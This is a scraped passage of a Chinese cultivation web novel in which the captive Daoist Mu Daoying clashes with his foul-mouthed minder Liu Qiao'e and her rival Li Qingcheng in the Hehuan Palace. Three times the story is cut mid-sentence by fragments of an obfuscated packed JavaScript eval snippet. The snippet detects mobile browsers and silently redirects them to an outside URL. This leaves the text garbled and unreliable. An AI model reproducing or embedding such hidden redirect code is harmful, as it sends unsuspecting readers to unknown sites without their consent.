白梦离心中所想,慕道瑛无缘得知,他自然而然以为白梦离是来寻刘巧娥的。 “道友可是来寻刘道友的?”慕道瑛道,“她今日一早便出了门,在下也不知她去了何方。” 白梦离这才回过神。她的确是来找刘巧娥的。昨天被刘巧娥范舒云一打岔,该交代的事都没交代下来。 女人略微矜持的点点头,冷淡的面容软化了不少,从袖中摸出个信封并个小瓷瓶,“无妨,见不到人也不要紧,本不是什么大事。合欢大典在即,这是大典所需的灵花清单,烦请道长将此物转交刘巧娥。这——这是大总管托我转送给她的伤药。” 慕道瑛接了下来,心里却慢慢想着:传言,跟无垢老母御下酷烈不同,陈玉柔待门人弟子倒是十分宽容和蔼,善于收买人心。 不知为何,眼前的女人仍未离开。 他虽不解其意,却也不会主动催逼,只耐心等她吐露未尽之言。 “慕道长。”白梦离顿了一顿,行了一礼,“在下也曾听闻过慕道长大名——在下相信道长是被冤枉。” 慕道瑛默了一刹,神色柔和了片刻:“多谢。” 正在这时,一道警惕的嗓音蓦地在两人中炸开,“你来做什么?!” 刘巧娥不知何时出现,正一脸不悦地望着白梦离。 白梦离皱眉:“刘巧娥,你来了,正好——” 可刘巧娥态度却十分冷酷,“你来这里作什么?” 言语中的戾气,令慕道瑛微微侧目。 “这是近日李倾城所要的灵花清单。”白梦离的态度也一下子冷淡下来。 正如刘巧娥不喜欢她一般,白梦离对刘巧娥也十分厌恶不耐。 主要是这人跟合欢宫绝大多数人一样,浅薄,自私,愚蠢。实在没法沟通。还总莫名将她视作竞争对手。 白梦离实在吝于跟这人多说一个字,抬脸看向慕道瑛说:“在下要交代的已经送到,便不多叨扰道友了,告辞。” 不等刘巧娥反应过来,转身就走,全程只把她当空气。 刘巧娥气得涨红了脸,一腔羞恼无处宣泄,忿忿地将矛头对准了慕道瑛:“你看上她了?” 慕道瑛:“?” 青年沉默少顷,露出不解之色,“瑛不明道友之意。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025345|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘巧娥瞪着白梦离远去的背影,眼里是不加掩饰的嫉妒跟厌恶。 她回过头,满脸地警惕不悦。 以主人拷问所有物的身份,拷问着眼前这个清峻坚忍的男人。 “她都跟你说什么了?” 慕道瑛闭唇不答。 他并非不通人情世故,昨日短暂相处,已令慕道瑛意识到眼前之人,或许没有那么简单。 自昨夜她自荐枕席,二人拉锯,再到今日逼问。 这看似可怜卑弱的女子,对自己似乎有着没来由的看重,正在一步步侵逼自己社交的边界线。 顿了一顿,慕道瑛将花单转交,方才有意避重就轻道:“不过些寒暄琐碎之词。” 哪知道刘巧娥还不死心,细长眼频频闪动,几成逼问之势:“什么寒暄琐碎之词?” 慕道瑛不答反问:“道友与白道友有隙?” 刘巧娥哪里瞧不出他这回避之意。 他竟敢瞒自己! 这人瞧着清雅温和,好脾气好说话的样子,倒生就一副凛凛的犟骨。 他跟白梦离的对话到底有什么不可见人的?! 刹那间,她妒火中烧,作色道:“怎么?觉得我欺负了她?你怜香惜玉了?” 慕道瑛:“在下并无此意。” 刘巧娥冷笑:“慕道长,陈总管命我伺候你,我自然有理由过问你之日常起居言行,你如今是在合欢宫,不是在玉清观,莫要忘记自己的身份。” “我再问一遍,你跟她到底都说了些什么。” 慕道瑛静静地看了她一眼,视线平明如镜,无有明显好恶之分,但刘巧娥却像赤身裸体受-刑一般难堪。 他眼里清楚地照映出她的嫉妒,狭隘,刻毒。 默了一息,慕道瑛终于开口,“在下省得,多谢道友提醒。 ” “白道友只不过是担心你之伤势,来给你送伤药。”他语气显而易见的冷淡下来。 刘巧娥眼神一闪,猛地抿紧了唇,被他言语刺痛了一刹。 - 那日微妙的剑拔弩张,针锋相对,还是被慕道瑛不动声色地揭了过去。 他是诗礼簪缨之家的出身,又素来与世无争,处事体面,从不与人难堪。 就这样,慕道瑛暂且在水云涧安顿下来,与刘巧娥平日里相处倒也算相安无事。 自从被陈玉柔指给慕道瑛之后,刘巧娥便也搬到了水云涧居住,方便照顾慕道瑛的起居。 平心而言,刘巧娥并不算是个理想中的室友。 慕道瑛年少成名,所交游者都是如他一般的青年才俊,天之骄子。 尤其与玉清观赵言歌,游剑阁沈澄因几人关系最好。 少年们意气风发,日日谈玄论道,寻访烟霞,书不尽的风流高妙。 刘巧娥明显非此辈中人。 人与人之间的交游也是看缘分的。慕道瑛平易温和,唯独对交友极为挑剔,尤为看重个“志趣”。 志趣不投,三观不契者不可为友。 刘巧娥很明显不在此志同道合之列。 故而,慕道瑛怜悯她的遭遇,却从未有过深交之念。 7.第 7 章 而对于刘巧娥来说,慕道瑛却过于古板正经。 自打将慕道瑛安顿在水云涧之后,陈玉柔似乎遗忘了他的存在,也不见有人过来提审。 刘巧娥不知她的打算,便每日只做自己的分内的事。 她是外门弟子,身份低微,在门内领着几乎杂役的活计。 合欢宫地处胥梦泽境内,多水多山。 东面山峰,两峰夹一陡峭山谷,怪石嶙峋,白云横浮,号为浮云谷。谷中多种植琪花瑶草,仙芝灵药,花繁如海,以供门人弟子日常取用。 刘巧娥就是负责莳弄花谷里那大片花田。 这是个耗时耗力的辛苦活,举凡有点志气的都不愿在这上面白白耗费宝贵的修炼光阴。 一甲子一届的合欢大典将近,典礼需要用奇花异草来妆点,需求量大得惊人。这几天刘巧娥便一直埋头于黄泥土地之间,白天犁地浇花,晚上步履沉重地带着一身汗臭味回到水云涧。 与她形成鲜明对比的便是慕道瑛的洁净无尘。 她昼夜颠倒,累极之后,枕着一身灰汗倒头就睡。 慕道瑛却日复一日地恪守着规律的作息,他鲜少睡眠,大部分时候都在静坐参玄,空闲的时间便爬上水云涧后面的松风崖,表面上是静观自然变幻,以求天人合一,实际上是登高望远,留意着合欢宫侧门守卫的人事变动规律。 日落之后,慕道瑛常会阅览一些道藏佛经,偶尔抚琴作画。 水云涧中有一张名为春霆的古琴,平日里无人问津,落了厚厚一层的灰,今日倒算是遇上了彼之子期。 明明身处同一屋檐下,却仿佛成了泾渭分明的两个世界。 这一日,慕道瑛刚自松风崖折返,忽瞧见门前两个带着泥水的黑脚印,门槛上沾满了泥。 他微一顿,心里有数,使了个洁净诀拭去了泥尘,才提起了半幅袍角跨过门槛。 果见到一个瘦小的身影正临窗站着,手里仿佛在摆弄些什么。 听得他的动静,刘巧娥不冷不热道:“你回来了?” 一转身,怀里竟抱着一品芍药,开了碗大的花瓣,花瓣层叠肥硕,粉中带白,呈现出极为柔和淡雅的粉色。 慕道瑛细细瞧了那芍药一眼,“这是花谷里的花?” 刘巧娥有几分炫耀的意思:“我成天就伺候这些花花草草的。它倒也没辜负我,我看它长得好,就抱了一盆回来。你看好看吗?” 慕道瑛虽无意与她深交,却有心跟她打好关系。闻言不吝赞道:“道友妙手,是花中一流。” 刘巧娥那张刻薄的脸上才露出点高兴的神采来。 两人又寒暄了几句,正巧有弟子过来送饭,蔬食菜肉用的都是宫内自己养的灵草灵兽。 按理来说慕道瑛是客,刘巧娥是仆,是绝没有同桌用饭的道理的。但慕道瑛十二岁那年便拜入了玉清观灵元座下,门内弟子同食同寝,没那么多讲究。 慕道瑛问:“道友可曾用过膳?” 忙了一天,刘巧娥腹中空空,饥肠辘辘,但不愿在慕道瑛面前露怯,仍要打肿脸充胖子,正要说句“吃过”。 慕道瑛那双极浅淡的眸子,轻轻瞧她一眼,仿佛看穿她伪装的强硬,“一起罢。” 刘巧娥哑口无言,两人相对而坐。 慕道瑛并未着急动箸,而是就刚才的话题问道:“那是桃花飞雪?” 他问的正是她带回来的那盆芍药。 刘巧娥惊讶:“你也知晓桃花飞雪?” 慕道瑛道:“在下有个好友也喜爱莳花弄草,因此略有耳闻。” 刘巧娥沉默了一刹,倏地问:“你这好友是男是女?”语气有点激烈。 慕道瑛有些不解其意,仍是说:“是女子。你或许听过她的姓名,她姓沈,名澄因,是游剑阁弟子。” 回应他的仍是一片沉默。 慕道瑛不知自己是哪里说错了话,只好又说了两句,妄图和缓气氛,“道友妙手,阿音喜交游各方奇人异事,若能见你,定然欢喜——” “欢喜?!”刘巧娥一声冷笑,打断了慕道瑛未尽之言。 慕道瑛微讶,闭了唇,默望着她。 刘巧娥尖锐道:“沈澄因的大名我哪里没听说过,出生沈氏大族,素有抱香仙子之称。这样的人岂会折节与我相交?” 慕道瑛:“道友误会——” 刘巧娥忿忿不平说:“误会?误会什么?当我不知道你们这些世家弟子吗?表面上平易近人,待人客气,实际上——呵,心里头谁都瞧不起!客气?那只是站得太高向下俯视时的宽容!” 慕道瑛一时无话,他不知刘巧娥到底经历了什么,但她这突然激烈的态度与尖锐的言辞,似乎表明她对世家子弟颇有怨气。 经过这些时日的相处,慕道瑛也渐渐摸清楚了刘巧娥的性子。 起初,他悯她柔弱无助。后来才晓得自己大错特错,光是两人初见的头一日,她便自荐枕席—— 虽说是合欢宫传统暗规,却也让慕道瑛始料未及,束手无措。 他性子温和,也愿意体谅他人,谅她许是之前吃过无数苦楚,才养成了这个愤世嫉俗的尖锐性子。 这几日下来,刘巧娥与他在时事上常有些争执。慕道瑛也从不与她争辩。 她厌恶这世上一切富人,官员,世家子弟,常言之为酒囊饭袋,蠹虫祸根,没一个好东西。 可慕道瑛,偏偏正是她最厌恶的那类世家子弟。 他自幼出生凡人界一个钟鸣鼎食的高门士族,高曾祖父,高祖父,祖父曾历任三公,及至父亲,也在朝中任礼部尚书一职。可谓一门进士,累世公卿。 慕道瑛年少便有才名,三岁能诗,五岁能文,八岁那年,生了一场重病,险些急坏了家里人。 一日,有一白发老道飘然而至,不过一挥袍袖,轻拂了他眉心,原本还病得起不了身的慕道瑛登时不药自愈。 老道口称他有仙缘,浑身仙机四溢,极易招来邪魔外道的觊觎,不能留在凡人界,否则就是个慧极必伤的早幺相。 父母怜子情深,哪里肯信,只千恩万谢,毕恭毕敬送别了老道。 老道也不强求,只留个地址,叫慕家日后若是反悔了,可来玉清观寻他。 没想到,老道走后一年,慕道瑛又大病一场,眼见着药石罔效,家人实在没办法,只好将他送到了玉清观。 那老道,正是他日后的师尊灵元。 慕道瑛家学渊博,自小锦衣玉食,是个富养出的公子哥,又夙具慧根,天生剑骨,截止目前为止的前半辈子都顺风顺水,惹人妒羡。 自他拜入灵元门下后,坚定道心,勤扫阴霾,纯净本性,神光常存。性子自然是养得清冷疏朗。从来没跟人红过脸,置过气。 慕道瑛自然也知晓刘巧娥所言不假,世家大族多巧取豪夺,敲骨吸髓之辈。刘巧娥忿忿,他也自不会去碰她霉头,多嘴多舌,惹她不快。 就这样任凭刘巧娥发作了一通,觑她怒火稍稍平息,他这才向她道歉:“抱歉,是瑛失言。道友忙累了一天,先用饭罢——” 他将筷箸递给她,轻声说:“菜色冷了,食之伤胃。” 又是这样的眼神。 刘巧娥抿了嘴角,眼里掠过一抹痛恨,仿佛被火烫到了一般。 和慕道瑛同住在一篇屋檐下,她岂能看不出他对自己的轻视?! 慕道瑛的轻视,从来就非直接的,露骨的,有意的,甚至他自己都无知无觉。 但那正是她所说的,居高临下地包容。 一想到这里,刘巧娥就觉得涨了一肚子的气。 慕道瑛沉默无言,饭桌上气氛尴尬。 刘巧娥撂了筷子,将碗筷冷冷一推,“我吃饱了,慕道友慢用。” 独留慕道瑛,无言独对满桌菜色。 心中默想,他与刘巧娥,果真非同路人。 - 其实她应该温驯一点,宽容一点,不要总像个一点就着的爆竹。 那样兴许人家还愿意给她给笑脸,对她好点。 偏她这人生性古怪,早就习惯了不给人好脸色。 见慕道瑛的第一眼,她便对他暗自心动。 奇怪得很,她既爱慕他,又厌恶得他不得了。 或许是厌恶他的鲜净高洁,厌恶他是个上天的宠儿,既有秀群的外貌,又有清贵的地位,千年难出的天资。 她的心底一直潜藏着一个邪恶的念头。 他越是飘在云端上,她越想将他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红衣女子嘻地一声笑开:“果然生得灵秀漂亮!我们几个姐妹素闻道长大名,得知道长来到咱们宫里做客,特地过来瞻仰道长天姿。” “不知道长年岁几何?可曾有婚配了?” 几个少女一窝蜂地将他围绕,七嘴八舌地问: “对黄赤之道感不感兴趣?” “咱们这几个姐妹可都盼望着能与道长春风一度呢!” 慕道瑛心里微微一紧,不动声色闪过其中一个投怀送抱的少女。 美人从来是美且自知的,慕道瑛自小便知晓自己的颜色或许生得比他人好些,身边也不缺少女们的追逐。 只是他性子冷淡板正,便鲜少有女子敢直表爱意的。哪里像现在这样,一个个眼神发亮,恨不得立刻将他吃干抹净的。 慕道瑛一瞬间头皮有点发麻。 见青年玉面生晕,避如蛇蝎的模样,一众风月老手们又嘻地笑开。 “道长别害羞呀。” “道长难道还是个处子吗?” 春光明媚,如花美眷在眼前, 慕道瑛却合了双目,心中叹了口气,暗暗下定决心,若她们再往前一步,便是失礼,他也要严词拒绝了。 孰料,正在这时,一道沙哑的,冷淡的嗓音如利箭一般贯入那莺啼燕语之中。 “李倾城。” 慕道瑛睁开眼,只见刘巧娥一边冷笑一边走近,一直走到那红衣女子面前,厉声说,“大早上地就□□,浪到了你奶奶面前?!” 李倾城面色一变:“刘巧娥,又是你!” 慕道瑛被这直白得过于粗俗的话震惊了。 须臾间,刘巧娥就已寒着一张瘦脸,大踏步而来,薄唇一张,那如连珠炮一般的污言秽语便猝不及防灌入双耳。 “若是痒了,就找根柱子自己磨磨,也好过骚到你奶奶门前丢人现眼!” 李倾城那方才还柔润妩媚的面庞,霎时间铁青了一片,杏子眼瞪成了豹子眼:“你!我发骚?我发骚也好过你这个丑八怪!没人要的丑娼妇!” 言辞之粗鄙,你来我往,势均力敌令慕道瑛瞳孔放大,大脑陷入了短暂的空白。 8.第 8 章 要说刘巧娥跟李倾城,也算积年一对老冤家了,两人到底如何结仇已不可考,总之这世上,就有些人,第一次见面便相看两生厌。 于李倾城如是。 于刘巧娥——她几乎就没对什么人抱有过好感。任何人在她眼里都是可厌可恨之辈,哪怕她贪花好色,馋慕道瑛的美貌,心里也厌恶他的高洁。 范舒云生得漂亮,李倾城一早便别有心思,结果半道被刘巧娥截胡。若是其他人截胡她也就认了,偏偏是刘巧娥这个丑娼妇,她怎能不恨? 若非如此,她也不会打发了白梦离去搅黄这两人好事。 这回来求欢慕道瑛,又被刘巧娥横插一脚,李倾城气得七窍生烟。 她性子也算爽朗粗放,身边围聚了不少小兄弟小姐妹。 少年轻薄,哪里愿见老大吃亏,当即你一言我一语,替老大助阵。 父母亲朋,屎尿狗屁,粗言秽语在半空飞来掷去,好好一个水云涧吵得如菜市场般震天响。 慕道瑛回过神来,便听闻双方父母空中齐飞。 “……” 当真是,十分失礼。 李倾城骂:“也不撒泡尿自己照照!还当我不知道你跟范舒云之间那点破事?癞蛤蟆想吃天鹅肉,让人打了一顿,真是笑死人了!” 刘巧娥咬牙回:“范舒云?你若是知道范舒云的下场,还敢在老娘面前耍横?那狗尿的玩意儿早被老娘揍成了个鼻青脸肿的猪头。怎么?你浪得皮痒了?非让老娘也给你松松痒?” 一粉衣少女助阵:“咱们来找慕道长,关你什么事?与其管起你奶奶的闲事来,不若管管自己。某人到如今连云山伴也没一个,真是丢死人了!” 另有一二三四个少年少女跟上。 刘巧娥的回击被淹没在人潮中,显得十分单薄孤立。 听到自己的名字,慕道瑛不论如何也不能坐视了。 刘巧娥与他毕竟有同居之谊,又怎能坐视她受辱? 这厢,李倾城终于忍无可忍,脸色一阵白一阵红,大骂了一声:“我□□祖宗!” 朝着刘巧娥扑将上来。 电转火石之间,刘巧娥正待出手,一道如水剑光却快她一步,抢在她面前替她挡下李倾城狠厉一击! 这一剑青光莹莹,乍似平平无奇,却暗含锋锐剑芒,剑气四溢。 一缕断发缓缓自李倾城眼前飘落,李倾城大吃一惊,看着挡在刘巧娥面前的那素麻道人。 那青年男子出招虽然迅捷凌厉,神态却很诚恳:“李道友,且住。” 刘巧娥惊疑交加地盯着慕道瑛,“你——” 慕道瑛回头看了她一眼,“刘道友。” “刘道友请回罢,此事因在下而起,便交由在下处置。” 刘巧娥怀疑:“你来?” ……大概吧。 慕道瑛骈指冲大门一点,嘴上道,“放心交我。”内心也有点自我怀疑,能不能招架得住这般激烈的骂战。 大门在刘巧娥面前轰然合上。 ——他怎敢?! 他如此自作主张,刘巧娥勃然大怒:“慕道瑛滚开!用得着你来吗?!” 想推门,却纹丝不动。 也不知这人用了什么道家法门,刘巧娥几个法诀砸上去都纹丝不动,气得她红了脸。 而在门外。 李倾城心下微凛,瞧着眼前这清俊的男子。 真奇怪,这男人瞧着面色苍白,弱不禁风的文雅模样,微微蹙着眉时竟有些让人不敢侵犯的端肃。 慕道瑛默了一刹,朝几人拱了拱手,“多谢诸位厚爱,只是在下如今是仙盟要犯。如何处置,还待老母出关之后再作安排。辜负了诸位道友心意。” “诸位道友,请回罢。” 李倾城犹不肯放弃,试探说:“男欢女爱是人之天性,咱们合欢宫向来是遵循着天性的。老母更不会怪罪。” 慕道瑛不为所动:“男欢女爱,亦要讲求你情我愿。在下一心奉道,断离五欲七情。” 他重复,“诸位道友,请回罢。” 李倾城与众少女面面相觑,到底是慑于那一剑之威,讪讪离去。 待李倾城等人走后,慕道瑛这才微不可察松了口气。骈指朝房门一点,一道青色光华闪过,门扉洞口。 这实乃玉清观一个小的法诀禁制,也无怪乎刘巧娥撞不开。 进门前,慕道瑛便料想到刘巧娥气性小,定要发作,但见真见女人撞上来,他还是微觉头痛。 女人个头矮小,不过堪堪到他胸口,但气焰却嚣张。 慕道瑛眼疾手快后退半步。 刘巧娥疾言厉色:“谁叫你自作主张的!” 慕道瑛怔然,“……抱歉。”眉目疏朗,神情竟十分诚恳真挚,“瑛见那位李道友人多势众,又颇有些修为在身,唯恐你吃亏受伤。” “呸!”刘巧娥恨恨,“要不是你拦着我老娘早就将这个小娼-妇揍得头脸开花!” “小娼-妇”三个字入耳,慕道瑛再次不着痕迹蹙了蹙眉,“刘道友——” 若说与刘巧娥相处过程中,有什么最令他不能适应,不敢苟同,便是她这翻着花样的詈词秽言。 刘巧娥歘地抬头冷笑:“你这什么表情,又憋了什么好屁?” “以后——”慕道瑛道。 刘巧娥:“以后?” 慕道瑛顿了顿,“以后——这样的话还是少说罢。” 果不其然,刘巧娥一愣,勃然变色:“什么话?你嫌老娘说话难听?!” 慕道瑛只觉面对刘巧娥,就像只捧了只刺猬在手,软也好,硬也好,都无济于事,稍不留神就要被扎个满手是血。 他叹气:“瑛并非此意。” 昨日他刚同刘巧娥不欢而散,今日他被李倾城等人围困在门前时,她大可以视而不见,却仍仗义执言,虽然这个“言”不怎么动听。 又想到她那日丢给他那一堆精心搭配的伤药。 慕道瑛认为,刘巧娥本性不坏。 这些詈词秽语,是她身处污淖,耳濡目染之下养成的恶习,需要纠正。 “修道先修心修性。”慕道瑛劝说,“怒则气上,污言秽语固然可逞一时之快,却易动气,不易静心。” “操-你爹的,”刘巧娥怒道,“说得什么狗屁鸡毛歪理,气不发出来难道要憋在心里吗?岂不是要修成个大圣人?” 慕道瑛竟然还说:“圣人忘情。” 刘巧娥啐了一口:“那老娘我今天就骂你狗拿耗子多管闲事了!你待如何?还能干站着听我骂不成?” 慕道瑛面不改色,平静颔首,“你说,瑛在听。” 真诚是最大的必杀技。 青年淡色的双眸,澄澈如平湖之月,干净无暇,足可清楚倒映出她那小小的人影。轻描淡写的语气,压力如泰山压顶。 刘巧娥舌头仿佛僵在了嘴巴里,语塞。 讪讪地嘀咕:“你他娘的——” 没滋没味地骂骂咧咧了几句,终还是不好意思大声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034341|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >倒是慕道瑛主动揭过了这个话题,转而提起一个萦绕于心多时的问题。 他一直苦于找不到个由头来跟刘巧娥拉近关系,如今,两人勉强也算共患难,慕道瑛不太确定地想,气氛难得也尚算融洽—— “刘道友——” “怎么?”刘巧娥语气不善,目含戒备。 慕道瑛顿了顿,斟酌了一会儿才开了口:“贵派这些人其实并非你同路人。” 刘巧娥倏道:“道友是出生凡人界大夏朝的慕家吧。” 慕道瑛回过神来:“是。” 他的出生,在东华界并不算秘事。 刘巧娥掩饰不住言语里的妒羡:“慕公子锦衣玉食,自然不知晓我们这些普通老百姓的苦楚,能活着便已是万幸,像我这样能一窥仙途,便已是侥天之幸!” “至于同不同道,重要吗?” 慕道瑛道:“瑛本不该多这一句,但他们如此欺你辱你,你当真甘心?”青年乌眸沉着,若刀刃新发于硎,明锐清亮。 许是受辱在前,刘巧娥沉默了半晌,竟再没像前半夜那般尖锐。 “走?我能走到哪里去?” “或者说,你能帮我走到哪里去?” “我知道你不过想让我帮你逃跑。”刘巧娥道,“好,念在你今日仗义,我可以帮你,但你呢?你能给我带来什么?” 慕道瑛不由又多看了刘巧娥一眼,他并未想到她能如此直接说出这一席话来。 他方才出言解围,其实并非为了博取她的欢心好让自己便宜行事。 他只是单纯不忍见她被众人群起而攻之。但,这很好。 能够沟通,交易,这很好。 刘巧娥既然误会了,慕道瑛自也不会解释, 他甚至稍稍正色,恳声说:“瑛势单力薄,的确需要道友相助。” “只是,非瑛一人远走高飞,在下想问,道友可愿随瑛一同离去?” 咚。 对上慕道瑛诚挚视线,刘巧娥心猛地漏跳了一拍,脸上又开始发烧。 暗恨他,郎君无心,偏又无知无觉招花惹草,招惹女子芳心,当真多情无情,可恨至极! “你难道就不怕我告到陈总管那里去?”刘巧娥勉力说,只语气已有些外强中干了。 “在下如今沦为贵派的阶下之囚,处境再坏也好过如目下这般光阴虚度。”慕道瑛抛出自己的诚意,“我有几个好友,各在太玄、游剑任职,瑛虽戴罪,恳请好友举荐道友入派修行倒是无碍的。” “这都是大派,条件更好,机会更多,天下之大,道友既在此地怀才不遇,又何必局限于小小一处合欢宫,蹉跎光阴呢。” 慕道瑛其实不太爱说话,难得苦口婆心说这样一席话,说完,便等待刘巧娥做决断。 刘巧娥抿了抿唇,没正面答复,但语气却显而易见地松动了:“……让我再考虑考虑。” 深知刘巧娥为人敏感多疑,慕道瑛也没有逼迫她立即给自己一个答复。 等刘巧娥走后,慕道瑛微微叹了口气,忍不住默念了几句《清静经》。 虽说方才指点了她勿要轻易乱了气,但跟刘巧娥相处的这几日,他自己却先乱了清静心。 他见过的女人不多,朋友也不多,异性朋友就更少了,纵使有心找个参照,也只能想到沈澄因一个。但沈澄因是标准的世家出生的贵女,进退有度,举止合宜。跟刘巧娥简直有天壤之别。 ……世上竟有如此桀骜不驯的女子。 福生无量天尊。 9.第 9 章 出了水云涧,刘巧娥照例来到了浮云谷。谷内的杂役见她面色不爽,都纷纷埋头避让。 刘巧娥前脚才被慕道瑛教育过,心里正憋着一团火。 大清早地,李倾城那贱人浪到她门前也就算了。 那慕道瑛算个什么东西,跟她非亲非故,也敢来教训她? 一想到慕道瑛瞧她的眼神,刘巧娥便恼红了一张脸。他也不责备她,眼里平静又诚挚。 老娘我这么多年来就这么过来的,还是个牙牙学语的奶娃娃时,就听邻居家那口子夫妻骂架,试问左邻右舍,哪个不这样说的?说得爽利,骂得痛快!她就这个脾性,看不惯她拉倒! 刘巧娥咬牙切切,目光瞧着远处那些弯腰锄地的杂役,杂役被她眼风带到,一个哆嗦,锄头入地太深。 刘巧娥当即发作:“叫你们刨坑不是给我添乱!” 杂役忙点头哈腰认错:“管事见谅,见谅!” “一个个的做得什么东西?”刘巧娥抢上前来,挥锄点地,语速稍缓,“这玉碗雪花根细,坑要浅,浅了才能透水透气,不然烂根。” 那杂役唯唯应诺。 刘巧娥一皱眉,指尖飞动,捏了几道法诀,几道法诀射出,霎时间,便在花田中掘出纵横交错,排列疏密有度的土坑。 在旁的杂役们纵使畏她如虎,也不得不承认,这位刘仙长的灵力把控是妙入毫巅的。 大鱼吃小鱼,小鱼吃虾米。刘巧娥虽在外门中低微卑微,但在这些杂役眼中也无疑于天人了。 刘管事是个精细人,凡事多亲力亲为,赏罚分明,就是脾气不太好。 手底下的人犯了什么小错被她揪住,少不得一顿好骂。不过骂归骂,捱住了这疾风骤雨的一顿也就过去了,远不至于丢了性命。 本就心情不爽,这些杂役还给她添乱。刘巧娥恨恨掘坑,越想火气就越大,连带着干起活来都一身的蛮牛力气。权当是在给慕道瑛跟李倾城这两个贱人掘坟。 也不耐烦这些想上前帮忙的杂役,将他们都呵赶到了一边,自己一口气犁了八亩地,“看好了!”只最后留了两亩让这些人上手。 几个杂役千恩万谢。 刘巧娥全不理他们,继续向前巡视。 也不知是老天爷偏爱跟她作对还是怎么,这一圈走下来,不是水浇多了,就是花晒得狠了,还有个新来的小杂役竟连沤肥也不会,见她来吓得打翻了粪桶,溅她满身。 气得刘巧娥一佛出世,二佛升天,一脚将那小杂役踹翻在粪水中滚了几圈,这才稍稍出了口恶气。 其实这些杂务本也不必她细细过问。 花谷分东西南北四个大块,她专负责东边这片,手底下还有个杂役中的小管事,姓许,为人也算勤勉踏实,只不知为何这一上午都没瞧着他人影。 花棚里坐下喝了口水稍作歇息,问及左右。 杂役赵老二有些支支吾吾,期期艾艾,话藏着话。 刘巧娥细眉倒竖,恶声道:“有话快说有屁快放,若敢瞒我就把你绞碎了做花肥!” 赵老二这才战战兢兢开口,“韩四娘子受了风寒,这两日病得沉重,刘娘子也晓得的……他俩……那个已成了‘云山伴’了。” 觑见刘巧娥面沉如水,不言不语,赵老二膝盖一软,跪倒在地。 要知道这位刘娘子是个母夜叉,虽然身处合欢宫,身边却连个男人都没有,对那些个成双成对的爱侣向来深恶痛绝。 今日让她见着这男女因情误事,指不定要如何责打一场。 刘巧娥果然动了怒:“这难道便是他不禀报一句就旷工的理由?” 赵老二硬着头皮:“许是昨夜……昨夜韩四娘子病急,他忘了回禀。”心里暗道,许开济你害死我也! 他心里七上八下等了半天,刘巧娥才冷冷开口。 “你回去告诉他,我给他放一天的事假。” 赵老二点头:“哎哎——”他蓦地抬眼,“哎?” “罚他半个月月银——这是罚他无故旷工。” “至于这韩四——”,刘巧娥皱着鼻子,从袖子里丢出个细口圆肚的白瓷瓶来。 赵老二慌忙骨碌碌兜住。 刘巧娥厉声:“这药你拿回去给她用着,叫她病好了赶快回来上工!十天半个月若还好不得就将人丢出宫去!” 赵老二忙替二人跪谢过了一场恩典,慌慌张张兜着白瓷瓶去了。 刘巧娥端起微冷的茶盏,细细摩挲了一二,哼哼冷笑了两声。 ——云山伴,云山伴。 又忽然觉得一阵心烦意乱。方才她虽在骂战之中,舌战群儒,不落下风,唯独有一句话戳中了她心中隐痛,令她很不好受。 正是那粉衣少女那句:“某人到如今连云山伴也没一个!真是丢死人了!” 合欢宫要修阴阳,就必须得有个区别于寻常道侣的 “同修”,所谓的云山伴取的正是朝云暮雨,露水情缘之意。 找不到同修,便习不得合欢宫最核心的功法,这六年以来,刘巧娥也只是囫囵学了个最浅显的皮毛。 但依刘巧娥的性子又怎肯示弱于前,哪怕私下里再如何偷偷伤神,人前总要强撑着一副目空一切的态度。 随着合欢大典将近,宫里的云山伴倒是一日比一日多起来。 这也实在是跟大典传统有关。 大典当日,照例是要祝祷上天,祈求上天赐福恩典的,这也无伤大雅,各门各派多多少少都有此传统。 可祭祀过后的那一项活动,便常被名门正道唾弃为邪魔歪道,下流至极。 合欢宫以采阴补阳,采阳补阴的长生法门入道,以白水素女为祖师源流。 典礼过后,门中弟子会同他们的云山伴一道来到宫中那条名为“素水”的河流前,沐浴濯身,踏歌寻欢。 字面意义上的寻—欢。 合欢宫门人将之视之为神圣。 每个弟子都必须找到自己的云山伴,否则将被众人唾弃,实之为不祥。 而刘巧娥,最是讲究个面子的人,直到如今,却也迟迟没能找到自己的云山伴。 原本她瞧中的是范舒云,如今也算乱拳打破了念想。 眼看着合欢大典一日一日地近了。若她再孤身出席,届时,少不得又被李倾城那小贱人一场耻笑。 将杯中冷茶一饮而尽,刘巧娥皱着眉,心下暗暗思忖比较着身边众男。 不是旁人看不上她,便是她瞧不上别人。思来想去,始终也没想出个满意的。 喝了口茶,歇了口气,便又要到花田里忙活。 经她照料过的灵花仙草无一不开得丰硕动人。有内外门弟子过来取花,合欢宫弟子们个个爱俏,个个高髻梳着满头朱钗,五彩羽裙,垂璎飞帔。提着花篮相携着手说说笑笑走过花田时,几乎看直了刘巧娥的眼。 她自然也是爱俏的。但她生得不好,刻意打扮反倒丑人多作怪。 低头瞧瞧摇曳生姿的大朵仙花,刘巧娥心里痒痒的,忍不住取了一枝,悄悄往鬓边比了比,捏了个水诀照了照,暗暗点头。 